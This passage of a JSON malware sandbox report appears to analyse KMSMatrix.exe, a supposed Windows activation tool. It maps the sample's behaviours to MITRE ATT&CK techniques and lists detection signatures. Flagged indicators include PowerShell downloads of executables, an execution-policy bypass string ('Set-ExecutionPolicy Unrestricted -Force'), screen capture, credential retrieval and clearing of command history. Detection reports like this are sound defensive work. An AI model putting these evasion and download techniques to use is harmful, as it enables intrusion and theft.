Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Writes log files"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found user-agent related strings"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Contains reference to Mail transfer protocol"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"malicious","value":"GETs executable from a webserver (HTTPS)"},{"type":"suspicious","value":"Drops script files inside temp directory"},{"type":"informative","value":"Contains ability to copy items (Powershell command string)"},{"type":"informative","value":"Contains ability to transfer data using curl"},{"type":"informative","value":"Contains ability to get content from a webpage (Powershell command string)"},{"type":"informative","value":"Dropped files"},{"type":"malicious","value":"Downloads file using Powershell DownloadFile"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"},{"type":"informative","value":"Contains ability to reboot OS (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to cryptographic keys"},{"type":"informative","value":"Contains ability to perform encryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to stop windows services"},{"type":"informative","value":"Contains ability to stop a service (Powershell command string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"}],"sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Persistence","technique":"BITS Jobs","attack_id":"T1197","attack_id_wiki":"https://attack.mitre.org/techniques/T1197","identifiers":[{"type":"informative","value":"Contains reference to background jobs (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Persistence","technique":"Windows Management Instrumentation Event Subscription","attack_id":"T1546.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/003","identifiers":[{"type":"informative","value":"Contains ability to create/update instances of WMI classes (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to start a process (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Defense Evasion","technique":"Rename System Utilities","attack_id":"T1036.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/003","identifiers":[{"type":"informative","value":"Contains ability to rename items (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Defense Evasion","technique":"Clear Command History","attack_id":"T1070.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/003","identifiers":[{"type":"informative","value":"Contains ability to clear Powershell session command history (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"informative","value":"Contains ability to write/modify file content (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to clear content (Powershell command string)"},{"type":"informative","value":"Deletes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Defense Evasion","technique":"Msiexec","attack_id":"T1218.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1218/007","identifiers":[{"type":"informative","value":"Detected msiexec.exe process execution"}],"sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Contains ability to retrieve credential objects (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"tactic":"Lateral Movement","technique":"Windows Remote Management","attack_id":"T1021.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/006","identifiers":[{"type":"informative","value":"Contains reference to remote powershell session activity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"powershell.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00006552)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00006552)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00006552)\n \"powershell.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00006552)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '2060122193921', 'hResInfo': '2060122195168'}\" (UID: 00000000-00006552)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2060122193921', 'hResInfo': '2060122195200'}\" (UID: 00000000-00006552)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2060122193921', 'hResInfo': '2060122195216'}\" (UID: 00000000-00006552)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2060122193921', 'hResInfo': '2060122195184'}\" (UID: 00000000-00006552)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"MpFreeMemory\" (Indicator: \"FreeMemory\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")\n Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00001580.00000000.66629.94952000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify PowerShell execution policies (Powershell command string)","description":"Found string \"& Set-ExecutionPolicy Unrestricted -Force\" (Indicator: \"Set-ExecutionPolicy\"; File: \"KMSMatrix.exe\")\n Found string \"& Set-ExecutionPolicy Unrestricted -Force\" (Indicator: \"Set-ExecutionPolicy\"; Source: \"00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp\")\n Found string \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" & Set-ExecutionPolicy Unrestricted -Force\" (Indicator: \"Set-ExecutionPolicy\"; Source: \"00000000-00002616.00000000.66017.789A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-341","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify data representation (Powershell command string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"$37","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"Observed string: \":\\WINDOWS\\SYSTEM32\\amsi.dll\" (Indicator: \"amsi.dll\") in Source: 00000000-00001580.00000000.66629.55630000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Dotnet file resource with suspicious entropy","description":"KMSMatrix.exe has big resource with name: \"system_notactivated\" size: \"594476\" and abnormal entropy:\"7.26701246448\"\n KMSMatrix.exe has big resource with name: \"welcome\" size: \"16222\" and abnormal entropy:\"7.41008706137\"\n KMSMatrix.exe has big resource with name: \"system_activated\" size: \"511532\" and abnormal entropy:\"7.22064806667\"\n KMSMatrix.exe has big resource with name: \"matrix_soundprocess\" size: \"4968258\" and abnormal entropy:\"7.06254326994\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-129","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\pipe\\PSHost.133495163154173202.6552.DefaultAppDomain.powershell; Source: \"00000000-00006552-00000C52-45625673\")\n Found string - \\\\.\\pipe\\PSHost.133495163394340593.1580.DefaultAppDomain.powershell; Source: \"00000000-00001580-00000C52-51736295\")\n Found string - \\\\.\\pipe\\PSHost.133495165996949662.5180.DefaultAppDomain.powershell; Source: \"00000000-00005180-00000C52-80260364\")\n Found string - \\\\.\\DISPLAY1; Source: \"00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Renames files","description":"\"KMSMatrix.exe\" renamed original file\"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\s_o\" to \"%TEMP%\\s_o.cmd\"","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"KMSMatrix.exe\")\n Found reference to API \"$decodedLicense = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($license)) | ConvertFrom-Json\" (Indicator: \"FromBase64String\"; File: \"m_srv.cmd\")\n Found reference to API \"$decodedLicense = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($license)) | ConvertFrom-Json\" (Indicator: \"FromBase64String\"; Source: \"00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000000.66017.10000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.10000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp\")\n Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption/decryption using RSA algorithm","description":"Found string \"rsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00001580.00000000.66629.26930000.00000004.mdmp\")\n Found string \"psrsacryptoserviceprovider\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00001580.00000000.66629.269B0000.00000004.mdmp\")\n Found string \"Uses RsaCryptoServiceProvider to encrypt and decrypt\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp\")\n Found string \"description=\"Uses RsaCryptoServiceProvider to encrypt and decrypt\"\" (Indicator: \"RSACryptoServiceProvider\"; Source: \"00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-352","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00001580.00000000.66629.55630000.00000004.mdmp\")\n Found string \"System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" (Indicator: \"encryptedkey\"; Source: \"00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp\")\n Found string \"http://www.w3.org/2001/04/xmlenc# EncryptedKey\" (Indicator: \"encryptedkey\"; Source: \"00000000-00002616.00000000.66017.00000000.00000004.mdmp, 00000000-00002616.00000001.67938.00000000.00000004.mdmp, 00000000-00002616.00000002.69859.00000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.548756825951928","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: YARA signature match - AES Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$38","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - AES Encryption\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Spawned process connects to a network\n Matched sigs: Contacts server\n Matched sigs: Possibly tries to communicate over SSL connection (HTTPS)","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"KMSMatrix.exe\" called \"GetForegroundWindow\" (UID: 00000000-00002616)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"6552\" - (UID: 00000000-00006552)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"1580\" - (UID: 00000000-00001580)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"5180\" - (UID: 00000000-00005180)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00006552)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00001580)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00005180)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"KMSMatrix.exe\" called \"GetWindowTextW\" with parameter \"KMS Matrix 6.6\" - (UID: 00000000-00002616)\n \"KMSMatrix.exe\" called \"GetWindowTextW\" with parameter \"Hidden\" - (UID: 00000000-00002616)\n \"KMSMatrix.exe\" called \"GetWindowTextW\" with parameter \"Office: checking...\" - (UID: 00000000-00002616)\n \"KMSMatrix.exe\" called \"GetWindowTextW\" (UID: 00000000-00002616)\n \"KMSMatrix.exe\" called \"GetWindowTextW\" with parameter \"Windows: checking...\" - (UID: 00000000-00002616)\n \"KMSMatrix.exe\" called \"GetWindowTextW\" with parameter \"Windows: not activated\" - (UID: 00000000-00002616)\n \"KMSMatrix.exe\" called \"GetWindowTextW\" with parameter \"Office: undefined\" - (UID: 00000000-00002616)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"KMSMatrix.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002616)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$39","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$3a","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00006552)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00006552)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00001580)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00001580)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00005180)\n 